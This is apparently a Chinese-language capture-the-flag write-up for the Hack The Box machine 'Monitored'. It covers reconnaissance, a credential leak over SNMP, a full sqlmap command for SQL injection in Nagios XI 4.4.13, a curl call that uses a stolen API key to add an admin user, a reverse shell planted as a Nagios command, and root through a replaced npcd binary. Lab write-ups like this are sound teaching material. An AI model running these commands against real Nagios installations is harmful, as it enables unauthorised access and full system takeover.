端口扫描&信息收集
使用nmap对ip进行扫描
nmap 10.10.11.248
开放了22、80、389、443端口
使用dirsearch对网站目录进行扫描
dirsearch -u 10.10.11.248
发现一个/nagios的网页,尝试访问
发现需要用户名和密码,这里没有用户名密码,先继续下一步
将ip和域名加入到hosts文件中后,访问ip
echo '10.10.11.248 nagios.monitored.htb' >> /etc/hosts
点击进入验证界面
经过验证,不存在任意用户登录和弱口令等身份验证漏洞
回想起之前还有ladp协议,使用enum4linux检测是否存在信息泄露
enum4linux -l 10.10.11.248
其中,-l参数代表检测ldap协议是否存在未授权漏洞等
发现也不存在信息泄露
联想到ldap协议可能和snmp协议联动,这里也使用snmpwalk尝试一下snmp协议是否存在信息泄露,查找相关命令
https://wenku.baidu.com/view/2ebf7163e75c3b3567ec102de2bd960590c6d9ab.html?wkts=1705368859284&bdQuery=snmpwalk%E5%91%BD%E4%BB%A4
snmpwalk -c public -v 1 -m ALL 10.10.11.248 .1.3.6.1.2.1.25
参数.1.3.6.1.2.1.25代表着收集所有系统信息
发现存在用户名和密码泄露:svc/XjH7VCehowpR1xZB
使用用户名和密码登录之前的界面,发现还是登录失败
想起来之前爆破出的第一个登录界面,尝试登录
登录成功
获取权限
进入界面后发现Nagios的版本为4.4.13,存在如下SQL注入漏洞
该漏洞利用方式为:SQL注入获取到管理员api->利用管理员api新增用户
在命令行输入以下代码
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ks https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi -T xi_users --dump
导出跑出的数据后,发现有admin用户的api值,接下去就需要利用此api来进行添加用户操作
利用POC,直接添加新用户到系统中
curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=adminz1&password=adminz1&name=Adminz1&email=adminz1@localhost&auth_level=admin"
可以看到新用户adminz1/adminz1已经添加成功,尝试登陆
四处寻找后,发现有一个可以添加命令的界面
Configure->Commands
添加一段反弹shell命令到其中
保存之后,在Monitoring->Hosts->localhost中调用shell
点击Run Check Command
拿到shell
权限提升
查看当前可执行的命令
发现能够以root用户执行npcd服务的开启和关闭,因此想到在npcd服务中加入一段反弹shell来提权
停止npcd服务
尝试直接修改npcd脚本的内容,发现其中为乱码,不好编辑,尝试本地写一个npcd,然后上传到靶机中
首先将原来的npcd服务备份
cd /usr/local/nagios/bin
mv npcd npcd1.bak
本地编辑好一段npcd的脚本,如下图所示
起一个http服务,将本地的npcd上传到靶机中,并赋予可执行权限
chmod +x npcd
执行重启npcd服务
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
提权成功